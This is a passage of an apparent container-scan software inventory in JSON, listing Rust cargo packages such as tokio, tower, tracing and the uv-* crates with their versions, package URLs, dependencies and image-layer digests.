"sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tikv-jemallocator@0.6.1", "Name": "tikv-jemallocator", "Identifier": { "PURL": "pkg:cargo/tikv-jemallocator@0.6.1", "UID": "202952872e4ac39" }, "Version": "0.6.1", "DependsOn": [ "libc@0.2.186", "tikv-jemalloc-sys@0.6.1+5.3.0-1-ge13ca993e8ccb9ba9847cc330696e02839f328f7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "time@0.3.47", "Name": "time", "Identifier": { "PURL": "pkg:cargo/time@0.3.47", "UID": "6693c4711506d18d" }, "Version": "0.3.47", "DependsOn": [ "deranged@0.5.8", "itoa@1.0.17", "num-conv@0.2.0", "powerfmt@0.2.0", "serde_core@1.0.228", "time-core@0.1.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "time-core@0.1.8", "Name": "time-core", "Identifier": { "PURL": "pkg:cargo/time-core@0.1.8", "UID": "8d86f26e11edd6a5" }, "Version": "0.1.8", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tinystr@0.8.2", "Name": "tinystr", "Identifier": { "PURL": "pkg:cargo/tinystr@0.8.2", "UID": "4256958321305a6" }, "Version": "0.8.2", "DependsOn": [ "displaydoc@0.2.5", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tinyvec@1.11.0", "Name": "tinyvec", "Identifier": { "PURL": "pkg:cargo/tinyvec@1.11.0", "UID": "ef90a4807f00dd4b" }, "Version": "1.11.0", "DependsOn": [ "tinyvec_macros@0.1.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tinyvec_macros@0.1.1", "Name": "tinyvec_macros", "Identifier": { "PURL": "pkg:cargo/tinyvec_macros@0.1.1", "UID": "3cb88c68776c82d8" }, "Version": "0.1.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tokio@1.52.3", "Name": "tokio", "Identifier": { "PURL": "pkg:cargo/tokio@1.52.3", "UID": "c62f129b01777202" }, "Version": "1.52.3", "DependsOn": [ "bytes@1.11.1", "libc@0.2.186", "mio@1.2.0", "parking_lot@0.12.5", "pin-project-lite@0.2.17", "signal-hook-registry@1.4.8", "socket2@0.6.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tokio-rustls@0.26.4", "Name": "tokio-rustls", "Identifier": { "PURL": "pkg:cargo/tokio-rustls@0.26.4", "UID": "28afd33f7ea9fc9e" }, "Version": "0.26.4", "DependsOn": [ "rustls@0.23.40", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tokio-stream@0.1.18", "Name": "tokio-stream", "Identifier": { "PURL": "pkg:cargo/tokio-stream@0.1.18", "UID": "875474e8f917873c" }, "Version": "0.1.18", "DependsOn": [ "futures-core@0.3.32", "pin-project-lite@0.2.17", "tokio@1.52.3", "tokio-util@0.7.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tokio-util@0.7.18", "Name": "tokio-util", "Identifier": { "PURL": "pkg:cargo/tokio-util@0.7.18", "UID": "cf1794632aac3c3a" }, "Version": "0.7.18", "DependsOn": [ "bytes@1.11.1", "futures-core@0.3.32", "futures-io@0.3.32", "futures-sink@0.3.32", "pin-project-lite@0.2.17", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "toml@1.1.2+spec-1.1.0", "Name": "toml", "Identifier": { "PURL": "pkg:cargo/toml@1.1.2%2Bspec-1.1.0", "UID": "b53ce50b7c6374d2" }, "Version": "1.1.2+spec-1.1.0", "DependsOn": [ "foldhash@0.2.0", "indexmap@2.14.0", "serde_core@1.0.228", "serde_spanned@1.1.1", "toml_datetime@1.1.1+spec-1.1.0", "toml_parser@1.1.2+spec-1.1.0", "toml_writer@1.1.1+spec-1.1.0", "winnow@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "toml_datetime@1.1.1+spec-1.1.0", "Name": "toml_datetime", "Identifier": { "PURL": "pkg:cargo/toml_datetime@1.1.1%2Bspec-1.1.0", "UID": "fff021e168cab864" }, "Version": "1.1.1+spec-1.1.0", "DependsOn": [ "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "toml_edit@0.25.12+spec-1.1.0", "Name": "toml_edit", "Identifier": { "PURL": "pkg:cargo/toml_edit@0.25.12%2Bspec-1.1.0", "UID": "a433e3b3eea7ec83" }, "Version": "0.25.12+spec-1.1.0", "DependsOn": [ "indexmap@2.14.0", "serde_core@1.0.228", "serde_spanned@1.1.1", "toml_datetime@1.1.1+spec-1.1.0", "toml_parser@1.1.2+spec-1.1.0", "toml_writer@1.1.1+spec-1.1.0", "winnow@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "toml_parser@1.1.2+spec-1.1.0", "Name": "toml_parser", "Identifier": { "PURL": "pkg:cargo/toml_parser@1.1.2%2Bspec-1.1.0", "UID": "bb00b98f37e4f773" }, "Version": "1.1.2+spec-1.1.0", "DependsOn": [ "winnow@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "toml_writer@1.1.1+spec-1.1.0", "Name": "toml_writer", "Identifier": { "PURL": "pkg:cargo/toml_writer@1.1.1%2Bspec-1.1.0", "UID": "635615f3d3a6108" }, "Version": "1.1.1+spec-1.1.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tower@0.5.3", "Name": "tower", "Identifier": { "PURL": "pkg:cargo/tower@0.5.3", "UID": "bb4e00afe964e3d5" }, "Version": "0.5.3", "DependsOn": [ "futures-core@0.3.32", "futures-util@0.3.32", "pin-project-lite@0.2.17", "sync_wrapper@1.0.2", "tokio@1.52.3", "tower-layer@0.3.3", "tower-service@0.3.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tower-http@0.6.8", "Name": "tower-http", "Identifier": { "PURL": "pkg:cargo/tower-http@0.6.8", "UID": "44dab87f30ed90f5" }, "Version": "0.6.8", "DependsOn": [ "async-compression@0.4.19", "bitflags@2.13.0", "bytes@1.11.1", "futures-core@0.3.32", "futures-util@0.3.32", "http@1.4.1", "http-body@1.0.1", "http-body-util@0.1.3", "iri-string@0.7.10", "pin-project-lite@0.2.17", "tokio@1.52.3", "tokio-util@0.7.18", "tower@0.5.3", "tower-layer@0.3.3", "tower-service@0.3.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tower-layer@0.3.3", "Name": "tower-layer", "Identifier": { "PURL": "pkg:cargo/tower-layer@0.3.3", "UID": "ab56996e82e57f9a" }, "Version": "0.3.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tower-service@0.3.3", "Name": "tower-service", "Identifier": { "PURL": "pkg:cargo/tower-service@0.3.3", "UID": "604a9805e4f217ca" }, "Version": "0.3.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing@0.1.44", "Name": "tracing", "Identifier": { "PURL": "pkg:cargo/tracing@0.1.44", "UID": "90ff59515e34f113" }, "Version": "0.1.44", "DependsOn": [ "pin-project-lite@0.2.17", "tracing-attributes@0.1.31", "tracing-core@0.1.36" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing-attributes@0.1.31", "Name": "tracing-attributes", "Identifier": { "PURL": "pkg:cargo/tracing-attributes@0.1.31", "UID": "37aa314ef7b98912" }, "Version": "0.1.31", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing-core@0.1.36", "Name": "tracing-core", "Identifier": { "PURL": "pkg:cargo/tracing-core@0.1.36", "UID": "a1fb6895a9e4a969" }, "Version": "0.1.36", "DependsOn": [ "once_cell@1.21.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing-log@0.2.0", "Name": "tracing-log", "Identifier": { "PURL": "pkg:cargo/tracing-log@0.2.0", "UID": "e785a31afbcb1148" }, "Version": "0.2.0", "DependsOn": [ "log@0.4.29", "once_cell@1.21.4", "tracing-core@0.1.36" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing-subscriber@0.3.23", "Name": "tracing-subscriber", "Identifier": { "PURL": "pkg:cargo/tracing-subscriber@0.3.23", "UID": "b19633d99a2c266e" }, "Version": "0.3.23", "DependsOn": [ "matchers@0.2.0", "nu-ansi-term@0.50.3", "once_cell@1.21.4", "regex-automata@0.4.14", "sharded-slab@0.1.7", "smallvec@1.15.2", "thread_local@1.1.9", "tracing@0.1.44", "tracing-core@0.1.36", "tracing-log@0.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "tracing-tree@0.4.1", "Name": "tracing-tree", "Identifier": { "PURL": "pkg:cargo/tracing-tree@0.4.1", "UID": "a7ed63f314886ec0" }, "Version": "0.4.1", "DependsOn": [ "nu-ansi-term@0.50.3", "tracing-core@0.1.36", "tracing-log@0.2.0", "tracing-subscriber@0.3.23" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "try-lock@0.2.5", "Name": "try-lock", "Identifier": { "PURL": "pkg:cargo/try-lock@0.2.5", "UID": "540849a4f5dcf6f9" }, "Version": "0.2.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "typeid@1.0.3", "Name": "typeid", "Identifier": { "PURL": "pkg:cargo/typeid@1.0.3", "UID": "20275c9e25f60500" }, "Version": "1.0.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "typenum@1.19.0", "Name": "typenum", "Identifier": { "PURL": "pkg:cargo/typenum@1.19.0", "UID": "a2a3bbe8c65e7d84" }, "Version": "1.19.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ucd-trie@0.1.7", "Name": "ucd-trie", "Identifier": { "PURL": "pkg:cargo/ucd-trie@0.1.7", "UID": "b5a15d00a76d7071" }, "Version": "0.1.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unicase@2.9.0", "Name": "unicase", "Identifier": { "PURL": "pkg:cargo/unicase@2.9.0", "UID": "75a2a78fcfe18285" }, "Version": "2.9.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unicode-ident@1.0.24", "Name": "unicode-ident", "Identifier": { "PURL": "pkg:cargo/unicode-ident@1.0.24", "UID": "f96af0fe1e500855" }, "Version": "1.0.24", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unicode-linebreak@0.1.5", "Name": "unicode-linebreak", "Identifier": { "PURL": "pkg:cargo/unicode-linebreak@0.1.5", "UID": "ffb00b334d196c33" }, "Version": "0.1.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unicode-width@0.1.14", "Name": "unicode-width", "Identifier": { "PURL": "pkg:cargo/unicode-width@0.1.14", "UID": "d14cffd09ac343a5" }, "Version": "0.1.14", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unicode-width@0.2.2", "Name": "unicode-width", "Identifier": { "PURL": "pkg:cargo/unicode-width@0.2.2", "UID": "74690550563ba57d" }, "Version": "0.2.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unit-prefix@0.5.2", "Name": "unit-prefix", "Identifier": { "PURL": "pkg:cargo/unit-prefix@0.5.2", "UID": "be440760d8a22388" }, "Version": "0.5.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "unscanny@0.1.0", "Name": "unscanny", "Identifier": { "PURL": "pkg:cargo/unscanny@0.1.0", "UID": "8380a0b5436dc12a" }, "Version": "0.1.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "untrusted@0.7.1", "Name": "untrusted", "Identifier": { "PURL": "pkg:cargo/untrusted@0.7.1", "UID": "3d372b0947b7d4f1" }, "Version": "0.7.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "untrusted@0.9.0", "Name": "untrusted", "Identifier": { "PURL": "pkg:cargo/untrusted@0.9.0", "UID": "ea86688a0ff283ce" }, "Version": "0.9.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "url@2.5.8", "Name": "url", "Identifier": { "PURL": "pkg:cargo/url@2.5.8", "UID": "a6607ee709e91e33" }, "Version": "2.5.8", "DependsOn": [ "form_urlencoded@1.2.2", "idna@1.1.0", "percent-encoding@2.3.2", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "utf8-width@0.1.8", "Name": "utf8-width", "Identifier": { "PURL": "pkg:cargo/utf8-width@0.1.8", "UID": "897ad5568862341a" }, "Version": "0.1.8", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "utf8_iter@1.0.4", "Name": "utf8_iter", "Identifier": { "PURL": "pkg:cargo/utf8_iter@1.0.4", "UID": "e1b2c47c0d6e63ef" }, "Version": "1.0.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "utf8parse@0.2.2", "Name": "utf8parse", "Identifier": { "PURL": "pkg:cargo/utf8parse@0.2.2", "UID": "46c9936a36cc16d7" }, "Version": "0.2.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uuid@1.23.3", "Name": "uuid", "Identifier": { "PURL": "pkg:cargo/uuid@1.23.3", "UID": "7aadb06cc5776e29" }, "Version": "1.23.3", "DependsOn": [ "getrandom@0.4.1", "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-audit@0.0.58", "Name": "uv-audit", "Identifier": { "PURL": "pkg:cargo/uv-audit@0.0.58", "UID": "ac9a46fb1498e94a" }, "Version": "0.0.58", "DependsOn": [ "astral-reqwest-middleware@0.5.1", "clap@4.6.1", "futures@0.3.32", "http@1.4.1", "indexmap@2.14.0", "jiff@0.2.28", "rkyv@0.8.16", "rustc-hash@2.1.2", "serde@1.0.228", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "uv-cache@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution-types@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-small-str@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-auth@0.0.58", "Name": "uv-auth", "Identifier": { "PURL": "pkg:cargo/uv-auth@0.0.58", "UID": "5e7bcade54a8ecb0" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "arcstr@1.2.0", "astral-reqwest-middleware@0.5.1", "async-trait@0.1.89", "base64@0.22.1", "etcetera@0.11.0", "fs-err@3.3.0", "futures@0.3.32", "http@1.4.1", "jiff@0.2.28", "percent-encoding@2.3.2", "reqsign@0.20.0", "reqwest@0.13.4", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18", "tokio@1.52.3", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-cache-key@0.0.58", "uv-fs@0.0.58", "uv-keyring@0.0.58", "uv-netrc@0.0.58", "uv-once-map@0.0.58", "uv-preview@0.0.58", "uv-redacted@0.0.58", "uv-small-str@0.0.58", "uv-state@0.0.58", "uv-static@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-bin-install@0.0.58", "Name": "uv-bin-install", "Identifier": { "PURL": "pkg:cargo/uv-bin-install@0.0.58", "UID": "b452ca4da46bd40e" }, "Version": "0.0.58", "DependsOn": [ "astral-reqwest-middleware@0.5.1", "astral-reqwest-retry@0.9.1", "fs-err@3.3.0", "futures@0.3.32", "jiff@0.2.28", "reqwest@0.13.4", "serde@1.0.228", "serde_json@1.0.150", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "url@2.5.8", "uv-cache@0.0.58", "uv-client@0.0.58", "uv-distribution-filename@0.0.58", "uv-extract@0.0.58", "uv-pep440@0.0.58", "uv-platform@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-build-backend@0.0.58", "Name": "uv-build-backend", "Identifier": { "PURL": "pkg:cargo/uv-build-backend@0.0.58", "UID": "f2dc02a0a26652fa" }, "Version": "0.0.58", "DependsOn": [ "astral-tokio-tar@0.6.3", "astral-version-ranges@0.1.4", "astral_async_zip@0.0.18", "base64@0.22.1", "csv@1.4.0", "flate2@1.1.9", "fs-err@3.3.0", "futures-lite@2.6.1", "globset@0.4.18", "indexmap@2.14.0", "itertools@0.14.0", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "serde_json@1.0.150", "sha2@0.10.9", "spdx@0.13.4", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "uv-distribution-filename@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-globfilter@0.0.58", "uv-normalize@0.0.58", "uv-options-metadata@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-toml@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-build-frontend@0.0.58", "Name": "uv-build-frontend", "Identifier": { "PURL": "pkg:cargo/uv-build-frontend@0.0.58", "UID": "b4e1275ca8c367c" }, "Version": "0.0.58", "DependsOn": [ "anstream@1.0.0", "fs-err@3.3.0", "indoc@2.0.7", "itertools@0.14.0", "owo-colors@4.3.0", "regex@1.12.4", "rustc-hash@2.1.2", "serde@1.0.228", "serde_json@1.0.150", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-cache-key@0.0.58", "uv-configuration@0.0.58", "uv-distribution@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-static@0.0.58", "uv-types@0.0.58", "uv-virtualenv@0.0.58", "uv-warnings@0.0.58", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-cache@0.0.58", "Name": "uv-cache", "Identifier": { "PURL": "pkg:cargo/uv-cache@0.0.58", "UID": "6b7f98147eaafa14" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "fs-err@3.3.0", "rmp-serde@1.3.1", "rustc-hash@2.1.2", "same-file@1.0.6", "serde@1.0.228", "tempfile@3.27.0", "thiserror@2.0.18", "tracing@0.1.44", "uv-cache-info@0.0.58", "uv-cache-key@0.0.58", "uv-dirs@0.0.58", "uv-distribution-types@0.0.58", "uv-fastid@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-cache-info@0.0.58", "Name": "uv-cache-info", "Identifier": { "PURL": "pkg:cargo/uv-cache-info@0.0.58", "UID": "636aea39b5e5d0eb" }, "Version": "0.0.58", "DependsOn": [ "fs-err@3.3.0", "globwalk@0.9.1", "schemars@1.2.1", "serde@1.0.228", "thiserror@2.0.18", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "uv-fs@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-cache-key@0.0.58", "Name": "uv-cache-key", "Identifier": { "PURL": "pkg:cargo/uv-cache-key@0.0.58", "UID": "6607a84d93199a30" }, "Version": "0.0.58", "DependsOn": [ "hex@0.4.3", "memchr@2.8.2", "percent-encoding@2.3.2", "seahash@4.1.0", "url@2.5.8", "uv-redacted@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-cli@0.0.58", "Name": "uv-cli", "Identifier": { "PURL": "pkg:cargo/uv-cli@0.0.58", "UID": "3b0fabe956442e39" }, "Version": "0.0.58", "DependsOn": [ "anstream@1.0.0", "anyhow@1.0.102", "clap@4.6.1", "clap_complete_command@0.6.1", "fs-err@3.3.0", "serde@1.0.228", "url@2.5.8", "uv-audit@0.0.58", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-configuration@0.0.58", "uv-distribution-types@0.0.58", "uv-install-wheel@0.0.58", "uv-normalize@0.0.58", "uv-pep508@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-resolver@0.0.58", "uv-settings@0.0.58", "uv-static@0.0.58", "uv-torch@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-client@0.0.58", "Name": "uv-client", "Identifier": { "PURL": "pkg:cargo/uv-client@0.0.58", "UID": "e645b82d89cb5d62" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "astral-reqwest-middleware@0.5.1", "astral-reqwest-retry@0.9.1", "astral-tl@0.7.11", "astral_async_http_range_reader@0.11.0", "astral_async_zip@0.0.18", "async-trait@0.1.89", "bytecheck@0.8.2", "fs-err@3.3.0", "futures@0.3.32", "h2@0.4.14", "html-escape@0.2.13", "http@1.4.1", "itertools@0.14.0", "jiff@0.2.28", "percent-encoding@2.3.2", "reqwest@0.13.4", "rkyv@0.8.16", "rmp-serde@1.3.1", "rustc-hash@2.1.2", "rustls-native-certs@0.8.4", "rustls-pki-types@1.14.1", "rustls-webpki@0.103.13", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-cache-key@0.0.58", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-fs@0.0.58", "uv-git@0.0.58", "uv-metadata@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-small-str@0.0.58", "uv-static@0.0.58", "uv-torch@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", "webpki-root-certs@1.0.7", "x509-parser@0.18.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-configuration@0.0.58", "Name": "uv-configuration", "Identifier": { "PURL": "pkg:cargo/uv-configuration@0.0.58", "UID": "62b5c200ae66fa54" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "either@1.16.0", "fs-err@3.3.0", "rayon@1.12.0", "reqwest@0.13.4", "rustc-hash@2.1.2", "same-file@1.0.6", "schemars@1.2.1", "serde@1.0.228", "serde-untagged@0.1.9", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-cache-info@0.0.58", "uv-distribution-types@0.0.58", "uv-git@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-console@0.0.58", "Name": "uv-console", "Identifier": { "PURL": 